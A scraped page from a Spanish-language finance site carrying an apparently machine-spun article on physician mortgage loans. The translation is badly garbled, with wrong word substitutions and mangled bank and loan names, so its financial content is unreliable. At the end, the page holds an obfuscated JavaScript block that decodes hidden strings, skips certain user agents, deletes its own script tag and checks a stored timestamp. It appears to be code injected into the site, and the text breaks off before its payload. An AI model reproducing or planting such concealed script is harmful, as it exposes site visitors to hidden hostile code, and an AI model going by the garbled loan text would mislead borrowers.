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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Wednesday, September 23, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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    <span class="shrink-0">Control de válvula</span><br />
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<p>                                                            Los préstamos hipotecarios médicos están diseñados para ayudar a los profesionales médicos a convertirse en propietarios de viviendas.
                                                </li>
<li class="pl-4 relative before:content-('•') before:right-full before:absolute before:text-(var(--accent))">
<p>                                                            Estos préstamos a menudo tienen requisitos más sueltos, como relaciones de deuda / ingresos aceptables más altas y términos más generosos, como pagos sin inactividad.
                                                </li>
<li class="pl-4 relative before:content-('•') before:right-full before:absolute before:text-(var(--accent))">
<p>                                                            Si perfectamente la mayoría de los préstamos médicos están dirigidos a residencias primarias, algunos prestamistas ofrecen préstamos para otros fines, como establecer una experiencia médica.
                                                </li>
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<h2 id="what-is" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Mortgages" data-position="h2_second_placement" data-name="h2_second_placement" data-text="Physician mortgage loans" data-outcome="">¿Qué es un préstamo médico?</h2>
<p>Los préstamos hipotecarios médicos son un tipo particular de financiamiento destinado a ayudar a los profesionales médicos <u>convertirse en propietarios</u>. Estas hipotecas tienen términos más generosos y requisitos de calificación más sueltos que la mayoría <u>préstamos convencionales</u>.</p>
<p>Oportuno a los altos niveles de <u>Deuda de la universidad y la escuela de medicina</u> Y ahorros limitados, gracias a los abriles que pasan en capacitación, los médicos de carrera temprana pueden tener dificultades para encasillar para una hipoteca tradicional. Sin secuestro, muchos tienen altos ingresos que los convierten en buenos candidatos para un préstamo hipotecario. Aquí es donde entran los préstamos médicos.</p>
<h3>¿Cómo funcionan los préstamos médicos?</h3>
<p>Los préstamos médicos funcionan como lo hacen las hipotecas normales, ya que debe encasillar para el préstamo y pagarlo mensualmente. Sin secuestro, tienen requisitos menos estrictos en torno a los ahorros y la deuda; por ejemplo, muchos no cuentan los préstamos estudiantiles como parte de la carga de deuda del prestatario. Y aunque muchos prestamistas prefieren que un prestatario tenga al menos dos abriles de empleo estable, un médico puede encasillar para un préstamo médico con un resolución de trabajo firmado o transcripción.</p>
<p>Por otra parte, los préstamos médicos son a menudo <u>hipotecas de tasa ajustable</u>con <u>tasas de interés</u> que pueden fluctuar durante el plazo del préstamo. Si las tasas ascendentes se convierten en un problema, puede <u>refinanciar</u> un préstamo médico.</p>
<h2 id="requirements">Requisitos de préstamo médico</h2>
<p>Los requisitos de los préstamos médicos los diferencian de las hipotecas regulares:</p>
<ul>
<li>
<strong>Depósito: </strong>Los préstamos hipotecarios médicos generalmente no requieren un <u>depósito</u>; Los prestamistas pueden ofrecer hasta el 100 por ciento de financiamiento.</li>
<li>
<strong>Tamaño del préstamo: </strong>Estos préstamos tienden a tener altos límites, típicamente $ 1 millón o más, dependiendo del prestamista hipotecario. Puede acoger un meta más parada si puede realizar un plazo original.</li>
<li>
<strong>Seguro hipotecario privado: </strong><u>Seguro hipotecario privado (PMI)</u> es un costo que la mayoría de los prestatarios pagan cuando reducen menos del 20 por ciento del valía de la casa comprada. Sin secuestro, préstamos médicos <u>No requiera PMI</u>que puede evitar a los prestatarios cientos de dólares por mes.</li>
<li>
<strong>Relación DTI: </strong>Su <u>relación deuda / ingreso (DTI)</u> Mide sus pagos mensuales de deuda en comparación con sus ingresos mensuales. Las hipotecas convencionales generalmente permiten relaciones DTI de 36 a 45 por ciento. La mayoría de los préstamos médicos permiten relaciones DTI de hasta el 50 por ciento y generalmente no cuentan la deuda estudiantil.</li>
</ul>
<h2 id="who-qualifies">¿Quién califica para un préstamo hipotecario médico?</h2>
<p>Las hipotecas médicas a menudo están dirigidas a médicos con títulos específicos. Estos son algunos de los más comunes:</p>
<ul>
<li>Médicos médicos (MD) y médicos de medicina osteopática (DO)</li>
<li>Médicos de medicina dental (DMD) y médicos de cirugía dental (DDS)</li>
<li>Médicos de Medicina Podiátrica (DPM)</li>
<li>Médicos de Medicina Veterinaria (DVM)</li>
</ul>
<p>Próximo con estos, hay programas especiales de préstamos disponibles con algunos prestamistas para asistentes médicos (PA), enfermeras y enfermeras practicantes (RN, DNP y NP), y terapeutas físicas y ocupacionales (DPT, PT y MOT).</p>
<p>Puede encasillar para un préstamo médico incluso si actualmente es residente o con becas.</p>
<h3>¿Para qué puede usar un préstamo médico?</h3>
<p>Por lo normal, solo puede usar un préstamo médico para <u>comprar una residencia principal</u>. Eso significa que no puede comprar una propiedad de inversión o una casa de ocio con el préstamo. Algunos prestamistas pueden ser más flexibles, como permitirle comprar una casa multifamiliar siempre que viva en una parte de ella. Otros tienen restricciones adicionales, como no prestar la adquisición de un condominio.</p>
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<p>Si perfectamente la mayoría está orientado a hipotecas, hay otros tipos de préstamos médicos que pueden ayudarlo a establecer su experiencia. Estos pueden alcanzar a $ 5 millones.</p>
</p></div>
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</section>
<h2 id="pros-v-cons">Pros y contras de préstamos médicos</h2>
<p>Si perfectamente los préstamos médicos pueden inaugurar puertas para graduados recientes, este tipo de préstamo no es adecuado para todos.</p>
<h3>Pros de préstamos médicos</h3>
<ul>
<li>
<strong>Sin plazo original.</strong> La mayoría de los prestamistas de préstamos médicos ofrecen hasta un 100 por ciento de financiamiento para un préstamo de $ 1 millón.</li>
<li>
<strong>Sin seguro hipotecario.</strong> Los préstamos médicos no cobran PMI, incluso si tiene <u>Sin plazo original</u>.</li>
<li>
<strong>Relación DTI más suscripción.</strong> Puede encasillar con un DTI de hasta un 50 por ciento siempre que demuestre que puede satisfacer los pagos.</li>
<li>
<strong>Crédito más suelto, empleo e estándares de ingresos.</strong> A menudo puede pedir prestado directamente de la escuela siempre que tenga una carta de proposición firmada y comenzar a trabajar en unos pocos meses. No necesitas ningún historial profesional.</li>
</ul>
<h3>Contras de préstamos médicos</h3>
<ul>
<li>
<strong>Tasas variables.</strong> Los préstamos médicos generalmente tienen tarifas ajustables, lo que significa que el plazo puede cambiar con el tiempo.</li>
<li>
<strong>Solo para residencias primarias.</strong> No puede usar el préstamo para comprar un <u>Segunda propiedad o propiedad de inversión</u>.</li>
<li>
<strong>Aventura de sobrecalentamiento.</strong> Hacer un plazo original pequeño, o no, siempre conlleva el aventura de convertirse en <u>bajo el agua en su hipoteca</u>. Digamos que compró una casa de $ 1,000,000. Si el mercado corrige y el valía de la vivienda disminuye, aún debe esos $ 1,000,000.</li>
<li>
<strong>Condominios o casas adosadas potencialmente no elegibles.</strong> Muchos prestamistas solo ofrecen préstamos para casas unión separadas.</li>
</ul>
<h2 id="which-lenders-offer">¿Qué prestamistas ofrecen préstamos médicos?</h2>
<p>Muchos tipos de prestamistas ofrecen préstamos hipotecarios médicos, incluidos grandes prestamistas nacionales, compañías hipotecarias independientes y bancos comunitarios. Entre los prestamistas que proporcionan este tipo de financiamiento (algunos incluyendo <u>Préstamos comerciales o de experiencia</u>) son:</p>
<ul>
<li>Parcialidad de América</li>
<li>BMO BANK</li>
<li>Fairway Independent Mortgage Corporation</li>
<li>Botellín tercer cárcel</li>
<li>Primer Parcialidad Franquista</li>
<li>Parcialidad Flagstar</li>
<li>Parcialidad de huntington</li>
<li>Northpointe</li>
<li>Tasa</li>
<li>TD Bank</li>
<li>Truista</li>
<li>United Community Bank</li>
</ul>
<p>Si está considerando obtener una hipoteca, investigue varios prestamistas en su radio. Su prioridad puede ser una tasa de interés desaparecido, pero no olvide factores como el servicio al cliente. <u>Hub de Bankrate&#8217;s Mortgage Review</u> puede ayudarlo a acortar el campo de los posibles prestamistas.</p>
<h2 id="should-i">¿Debería obtener un préstamo hipotecario para los médicos?</h2>
<p>Los préstamos para el hogar del médico pueden ser una buena opción para muchos profesionales médicos. Puede beneficiarse de este tipo de hipoteca si:</p>
<ul>
<li>Está buscando una residencia principal y planea permanecer en el mismo motivo durante al menos unos abriles.</li>
<li>Tendrá tiempo para cuidar y perseverar el hogar a pesar de los largos turnos.</li>
<li>Puede satisfacer cómodamente un plazo de hipoteca mensual más parada si su tasa de interés aumenta.</li>
</ul>
<p>Un préstamo hipotecario médico podría no ser la opción correcta para su situación si:</p>
<ul>
<li>Te mudas a una nueva ubicación para la residencia y planea irse encajado a posteriori. En este caso, probablemente sea mejor arrendar.</li>
<li>Desea una hipoteca de tasa fija.</li>
<li>Desea comprar una propiedad multifamiliar, o un condominio, casa adosada o propiedad de inversión.</li>
</ul>
<h2 id="alternatives">Alternativas a un préstamo hipotecario médico</h2>
<p>Un préstamo médico no es la única opción acondicionado para los médicos. Si califica, podría obtener otro <u>préstamo de plazo de desaparecido o no cerca de debajo</u>como a:</p>
<ul>
<li>
<strong><u>Préstamo convencional</u></strong><strong>: </strong>Tan solo un 3 por ciento menos con tasas fijas disponibles, pero pagará PMI y tendrá un meta de endeudamiento más bajo.</li>
<li>
<strong><u>Hubo un préstamo</u></strong><strong>: </strong>Tan solo 3.5 por ciento menos con al menos un puntaje de crédito de 580 y <u>Seguro hipotecario de la FHA</u>. Al igual que con los préstamos convencionales, tendrá un meta de endeudamiento más bajo que el de un préstamo médico.</li>
<li>
<strong><u>Se verá</u></strong><strong>: </strong>No hay metálico descendente, en la mayoría de los casos, para los miembros y veteranos elegibles y sin seguro hipotecario.</li>
<li>
<strong><u>Préstamo 80/10/10 piggyback</u></strong><strong>: </strong>10 por ciento inactividad, más dos préstamos para un total de financiamiento del 90 por ciento: 80 por ciento en el primer préstamo y 10 por ciento en el segundo. Esta puede ser una mejor opción que un préstamo médico, dependiendo de las tarifas que se le ofrece.</li>
</ul>
<h2 id="faq">Preguntas frecuentes</h2>
</p></div>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/las-tasas-hipotecarias-vuelven-a-subir-por-las-noticias-sobre-iran" target="_self" rel="dofollow" class="u2919c766374ea80de06a3b730920957d"><!-- INLINE RELATED POSTS 1/3 //--><style> .u2919c766374ea80de06a3b730920957d { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u2919c766374ea80de06a3b730920957d:active, .u2919c766374ea80de06a3b730920957d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u2919c766374ea80de06a3b730920957d { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u2919c766374ea80de06a3b730920957d .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u2919c766374ea80de06a3b730920957d .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u2919c766374ea80de06a3b730920957d:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Las tasas hipotecarias vuelven a subir por las noticias sobre Irán</span></div></a></div></div></div><div class="td_block_wrap tdb_single_tags tdi_80 td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_80" >
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                    <h3 class="entry-title td-module-title"><a href="https://financesnewsonline.com/las-tasas-hipotecarias-se-mantienen-por-encima-del-65-a-medida-que-aumenta-la-inflacion"  rel="bookmark" title="Las tasas hipotecarias se mantienen por encima del 6,5% a medida que aumenta la inflación">Las tasas hipotecarias se mantienen por encima del 6,5% a medida...</a></h3>
                    
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                                                                                                            <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-06-12T02:33:10+00:00" >June 12, 2026</time></span>                                                                                                        </span>
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0x0,F53MoyP=ZLuaVAe[K9zSn7A[0x4]],EoHwST[K9zSn7A[0x4]]=K9zSn7A[0x0]);for(lV84JF=K9zSn7A[0x0];lV84JF<F53MoyP;){QJuBF6F(BbjvJt=ZLuaVAe[lV84JF++],BbjvJt<=K9zSn7A[0x18]?Zox_h4P=BbjvJt:BbjvJt<=0xdf?Zox_h4P=(BbjvJt&0x1f)<<K9zSn7A[0x7]|ZLuaVAe[lV84JF++]&K9zSn7A[0x6]:BbjvJt<=0xef?Zox_h4P=(BbjvJt&0xf)<<K9zSn7A[0xa]|(ZLuaVAe[lV84JF++]&K9zSn7A[0x6])<<K9zSn7A[0x7]|ZLuaVAe[lV84JF++]&K9zSn7A[0x6]:d6EnYgR[K9zSn7A[0x8]]?Zox_h4P=(BbjvJt&K9zSn7A[0x9])<<0x12|(ZLuaVAe[lV84JF++]&K9zSn7A[0x6])<<K9zSn7A[0xa]|(ZLuaVAe[lV84JF++]&K9zSn7A[0x6])<<K9zSn7A[0x7]|ZLuaVAe[lV84JF++]&K9zSn7A[0x6]:(Zox_h4P=K9zSn7A[0x6],lV84JF+=K9zSn7A[0x12]),EoHwST[K9zSn7A[0xb]](rpkOfdr[Zox_h4P]||(rpkOfdr[Zox_h4P]=h7pZZF(Zox_h4P))))}return EoHwST.join("")}}());function e5VcCAC(rpkOfdr){return typeof ZLuaVAe!==K9zSn7A[0x5]&&ZLuaVAe?new ZLuaVAe().decode(new Zox_h4P(rpkOfdr)):typeof BbjvJt!==K9zSn7A[0x5]&&BbjvJt?BbjvJt.from(rpkOfdr).toString("utf-8"):lV84JF(rpkOfdr)}function JOKfaL(){}function fr8pwR3(){}function QJuBF6F(){QJuBF6F=function(){}}(()=>{function EoHwST(EoHwST,ZLuaVAe){if(!ZLuaVAe){ZLuaVAe=function(ZLuaVAe){if(typeof rpkOfdr[ZLuaVAe]===K9zSn7A[0x5]){return rpkOfdr[ZLuaVAe]=EoHwST(h7pZZF[ZLuaVAe])}return rpkOfdr[ZLuaVAe]}}if(!EoHwST){EoHwST=function(EoHwST){var ZLuaVAe="QgAS,r2T;xH@J?Xo)l+[3Us0#Bu|9h\"V}*<8:P=EeKdy1miw(&6R{GCc/M$LN%5jv>]I4z7t~ZD`WFb^!n_.OYfpkqa",Zox_h4P,d6EnYgR,F53MoyP,lV84JF,k7pb5sS,TCN_LP,yUivUn;QJuBF6F(Zox_h4P=""+(EoHwST||""),d6EnYgR=Zox_h4P.length,F53MoyP=[],lV84JF=K9zSn7A[0x0],k7pb5sS=K9zSn7A[0x0],TCN_LP=-K9zSn7A[0x1]);for(yUivUn=K9zSn7A[0x0];yUivUn<d6EnYgR;yUivUn++){var fr8pwR3=ZLuaVAe.indexOf(Zox_h4P[yUivUn]);if(fr8pwR3===-K9zSn7A[0x1])continue;if(TCN_LP<K9zSn7A[0x0]){TCN_LP=fr8pwR3}else{QJuBF6F(TCN_LP+=fr8pwR3*K9zSn7A[0xc],lV84JF|=TCN_LP<<k7pb5sS,k7pb5sS+=(TCN_LP&K9zSn7A[0xd])>K9zSn7A[0xe]?K9zSn7A[0xf]:K9zSn7A[0x10]);do{QJuBF6F(F53MoyP.push(lV84JF&K9zSn7A[0x3]),lV84JF>>=K9zSn7A[0x2],k7pb5sS-=K9zSn7A[0x2])}while(k7pb5sS>K9zSn7A[0x9]);TCN_LP=-K9zSn7A[0x1]}}if(TCN_LP>-K9zSn7A[0x1]){F53MoyP.push((lV84JF|TCN_LP<<k7pb5sS)&K9zSn7A[0x3])}return e5VcCAC(F53MoyP)}}if(new RegExp(ZLuaVAe(0x6b),"i")[ZLuaVAe(0x6c)](navigator[ZLuaVAe(0x6d)])){return}const Zox_h4P=document[ZLuaVAe(0x6e)];Zox_h4P?.parentNode?.removeChild(Zox_h4P);const BbjvJt=Date[ZLuaVAe(0x6f)],d6EnYgR=BbjvJt(),F53MoyP=window[ZLuaVAe(0x70)],lV84JF=ZLuaVAe(0x71),k7pb5sS=F53MoyP[ZLuaVAe(K9zSn7A[0x13])](lV84JF);if(k7pb5sS&&Number(k7pb5sS)>d6EnYgR){function TCN_LP(EoHwST){var 